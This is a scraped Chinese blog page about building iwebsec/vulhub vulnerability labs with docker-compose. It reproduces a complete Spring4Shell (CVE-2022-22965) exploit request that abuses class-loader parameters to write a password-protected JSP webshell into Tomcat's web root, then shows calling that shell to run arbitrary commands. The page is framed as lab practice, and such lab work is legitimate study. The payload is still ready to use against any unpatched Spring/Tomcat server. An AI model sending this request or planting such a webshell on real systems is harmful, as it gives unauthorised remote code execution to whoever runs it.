赞
踩
Web安全:iwebsec || vulhub 靶场搭建.(各种漏洞环境集合,一键搭建漏洞测试靶场)_iwebsec靶场-CSDN博客
- (1)cd vulhub
-
- (2)ls
- (1)cd spring // 切换到对应的漏洞目录.
-
- (2)cd CVE-2022-22965 // 切换到对应的漏洞版本.
-
- (3)docker-compose build // 建立容器
-
- (4)docker-compose up -d // 启用漏洞环境.
(2)进行访问漏洞的链接.(使用 Burp 抓包.)
- GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
- Host: 192.168.32.132:8080
- Accept-Encoding: gzip, deflate
- Accept: */*
- Accept-Language: en
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
- Connection: close
- suffix: %>//
- c1: Runtime
- c2: <%
- DNT: 1
(1)访问刚才上传的 JSP webshell,并执行任意命令.
http://172.16.10.19:8080/tomcatwar.jsp?pwd=j&cmd=id
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。